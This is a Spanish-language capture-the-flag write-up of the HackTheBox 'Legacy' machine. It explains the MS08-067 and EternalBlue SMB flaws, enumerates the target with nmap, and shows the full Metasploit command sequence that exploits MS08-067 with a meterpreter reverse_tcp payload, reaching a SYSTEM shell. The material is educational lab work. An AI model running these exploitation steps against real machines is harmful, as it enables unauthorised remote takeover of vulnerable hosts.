Legacy

Dificultad: Easy - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

Legacy está diseñada para ilustrar vulnerabilidades comunes en sistemas antiguos, concretamente en Windows XP. La parte inicial consiste en realizar un reconocimiento de los servicios expuestos del objetivo, donde se identifica el protocolo SMB como un vector de ataque principal. Este protocolo, ampliamente utilizado en entornos Windows para compartir archivos y recursos, representa en este contexto una superficie vulnerable que será explotada para comprometer el sistema.

La explotación de la máquina se centra en una vulnerabilidad específica: CVE-2008-4250, una falla crítica en el componente Server del sistema operativo Windows, conocida comúnmente como MS08-067. Esta vulnerabilidad permite la ejecución remota de código mediante el envío de paquetes especialmente diseñados a través del puerto SMB. En este CTF se emplea directamente el módulo correspondiente de Metasploit (exploit/windows/smb/ms08_067_netapi) para aprovechar esta falla, lo que permite obtener una sesión con privilegios de administrador en el sistema.

📌Exploit MS08-067

El exploit MS08-067, identificado como CVE-2008-4250, se basa en una vulnerabilidad crítica dentro del servicio Server de Windows, específicamente en la librería NetAPI32.dll. Este servicio se encarga de gestionar funciones relacionadas con el uso compartido de archivos e impresoras a través del protocolo SMB (Server Message Block). La falla radica en la manera en que el sistema maneja las llamadas RPC (Remote Procedure Call) que se realizan sobre SMB, lo cual permite a un atacante ejecutar código arbitrario en el contexto del sistema, sin requerir autenticación previa.

Este exploit se aprovecha de una mala gestión de memoria en el código del sistema operativo, específicamente en la función de la librería NetAPI32.dll que se encarga de procesar rutas de red compartidas. Esta función espera recibir una cadena de texto (por ejemplo, una ruta como \\servidor\carpeta) y la almacena en una región de memoria llamada buffer. El problema es que no verifica correctamente la longitud de esa cadena antes de copiarla.

Cuando un atacante envía una ruta especialmente larga y mal formada a través de una solicitud RPC (Remote Procedure Call), esa cadena excede el tamaño del buffer reservado en memoria. Esto es lo que se conoce como un buffer overflow o desbordamiento de búfer. El contenido adicional que no cabe en el buffer sobrescribe otras partes adyacentes de la memoria, y entre ellas se encuentra el stack, o pila de ejecución, que es donde se guarda información fundamental como direcciones de retorno (es decir, a dónde debe volver el programa luego de ejecutar una función).

Al sobrescribir esas direcciones de retorno, el atacante puede redirigir el flujo de ejecución del programa hacia una porción de código que él mismo ha introducido como parte del payload: el shellcode. Este shellcode está diseñado para ejecutarse con los mismos privilegios que el servicio vulnerado —en este caso, el proceso svchost.exe que corre como SYSTEM, el nivel más alto en Windows—, lo que le permite al atacante obtener el control total del sistema comprometido. Así, el ataque transforma una simple solicitud de red en la ejecución remota de código arbitrario con máximos privilegios.

📌Exploit MS17-010

La vulnerabilidad MS17-010, identificada como CVE-2017-0143 y comúnmente conocida como EternalBlue, representa una de las fallas más críticas en la historia reciente del sistema operativo Windows. Esta falla afecta al protocolo SMBv1 (Server Message Block versión 1), utilizado ampliamente en redes Windows para compartir archivos, impresoras y recursos. El problema radica en una incorrecta gestión de la memoria por parte del controlador del sistema (srv.sys) al manejar determinadas transacciones SMB. En particular, el sistema no valida adecuadamente ciertas estructuras de datos, lo que permite a un atacante manipular cómo se asigna y organiza la memoria en el heap del kernel de Windows.

El ataque funciona enviando una serie de paquetes SMB especialmente diseñados que fuerzan al sistema operativo a organizar la memoria de forma predecible. Esta manipulación permite al atacante provocar un desbordamiento de memoria en el heap (heap overflow), lo cual, con suficiente precisión, posibilita la ejecución de código arbitrario. Una vez que el código malicioso ha sido inyectado en la memoria, una función vulnerable del sistema termina ejecutándolo sin saberlo, con privilegios elevados del sistema (SYSTEM). Esta ejecución remota de código no requiere autenticación previa, lo que convierte a EternalBlue en un vector de ataque extremadamente efectivo y peligroso.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/HTB/LEGACY]
└─# nmap -sCV --open -T4 -v -n 10.10.10.4 
📌 Parámetros
  • sCV:

    • -sC → Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV → Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n → No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open → Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4 → Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v → Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2025-06-22T02:05:03+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:94:9c:f5 (VMware)
| Names:
|   LEGACY<00>           Flags: <unique><active>
|   LEGACY<20>           Flags: <unique><active>
|   HTB<00>              Flags: <group><active>
|   HTB<1e>              Flags: <group><active>
|   HTB<1d>              Flags: <unique><active>
|_  \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|_clock-skew: mean: 5d00h18m22s, deviation: 2h07m16s, median: 4d22h48m22s

Algunos de los elementos que nos reveló el escaneo de nmap y que son relevantes para este contexto:

  • Puerto 445/tcp abierto: Indica que el servicio microsoft-ds (SMB) está activo, lo cual es el canal principal por donde se ejecuta el exploit.

  • Puerto 135/tcp abierto: Señala que el servicio Microsoft RPC está disponible, necesario para el envío de llamadas RPC malformadas utilizadas en el ataque.

  • Sistema operativo detectado como Windows XP:

    • Confirmado por Service Info y el script smb-os-discovery.

    • Windows XP es uno de los sistemas directamente afectados por la vulnerabilidad MS08-067.

  • SMBv1 en uso (SMB2 fallido):

    • El script smb2-time indica que la negociación SMB2 falló, lo cual confirma que solo está habilitado SMBv1, un protocolo obsoleto y vulnerable.

  • Firma de mensajes SMB deshabilitada:

    • Según el script smb-security-mode, message_signing: disabled, lo que facilita ataques como este al no haber verificación de integridad en las comunicaciones SMB.

  • CPE detectado:

    • cpe:/o:microsoft:windows_xp refuerza la conclusión de que el sistema corre Windows XP sin actualizaciones relevantes para mitigar esta vulnerabilidad.

SMB vulnerability enumeration using NSE scripts.

Pero para estar seguros de que este equipo es vulnerable al MS08-067 vamos a realizar un escaneo de vulnerabilidades sobre el SMB implementando scripts de la base de datos de nmap de la siguiente manera:

┌──(root㉿kali)-[/home/kali/Documents/HTB/LEGACY]
└─# nmap -p139,445 --script smb-vuln-* 10.10.10.4

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-054: false

Este comando de Nmap ejecuta una exploración más especializada para detectar vulnerabilidades conocidas en el protocolo SMB usando scripts NSE (Nmap Scripting Engine). Los elementos que reveló este escáner son los siguientes:

  • smb-vuln-ms08-067:

    • Resultado: VULNERABLE

    • Confirma que el sistema es vulnerable al exploit MS08-067 (CVE-2008-4250).

    • Esto valida directamente que se puede ejecutar el ataque que permite ejecución remota de código vía una solicitud RPC maliciosa.

    • Esta prueba automatizada verifica el comportamiento del sistema frente a patrones conocidos sin causar daño.

  • smb-vuln-ms17-010:

    • Resultado: VULNERABLE

    • El sistema también es vulnerable a MS17-010 (CVE-2017-0143), también conocida como EternalBlue, otra vulnerabilidad crítica en SMBv1 usada en ataques como WannaCry.

    • Este resultado indica que hay más de una vía para obtener ejecución remota sobre este host.

  • smb-vuln-ms10-061:

    • Resultado: Script execution failed

    • El script no pudo ejecutarse correctamente, posiblemente por una incompatibilidad o error en la comunicación con el servicio objetivo. Esto no significa que no sea vulnerable, solo que el script no pudo determinarlo.

  • smb-vuln-ms10-054:

    • Resultado: false

    • El sistema no parece ser vulnerable al MS10-054, que afecta el modo en que SMB maneja ciertas peticiones de red.

Ahora vamos a buscar algún exploit disponible en la base de datos de msfconsole para la vulnerabilidad MS08-067, luego lo configuraremos para lanzarlo contra el equipo objetivo

MS08-067 – "NetAPI exploit" con MSFConsole

msf6 > search ms08_067

Matching Modules
================

   #   Name                                                             Disclosure Date  Rank   Check  Description
   -   ----                                                             ---------------  ----   -----  -----------
   0   exploit/windows/smb/ms08_067_netapi                              2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
   1     \_ target: Automatic Targeting
   
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using
                                       -metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.60     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 10.10.10.4
rhosts => 10.10.10.4

msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 10.10.14.4
lhost => 10.10.14.4

msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] 10.10.10.4:445 - Automatically detecting the target...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.16/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (177734 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.4:1039) at 2025-06-16 17:29:36 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 1016 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

¿Cómo están compuestos los identificadores como MS17-010, MS08-067, etc.?

Estos identificadores pertenecen a los boletines de seguridad de Microsoft, y tienen una estructura estándar:

  • Prefijo "MS": Significa "Microsoft Security Bulletin".

  • Dos primeros dígitos: Indican el año de publicación del boletín.

  • Tres dígitos siguientes: Son el número secuencial del boletín publicado ese año.

Por ejemplo:

  • MS08-067:

    • MS: Microsoft Security Bulletin.

    • 08: Año 2008.

    • 067: 67º boletín de seguridad publicado en 2008.

  • MS17-010:

    • Año 2017, décimo boletín de seguridad.

    • Asociado a EternalBlue.

  • MS10-054 y MS10-061:

    • Publicados en 2010, son los boletines 54 y 61 respectivamente.

    • Corresponden a otras vulnerabilidades en el stack de red de Windows (por ejemplo, SMB y Print Spooler).

Last updated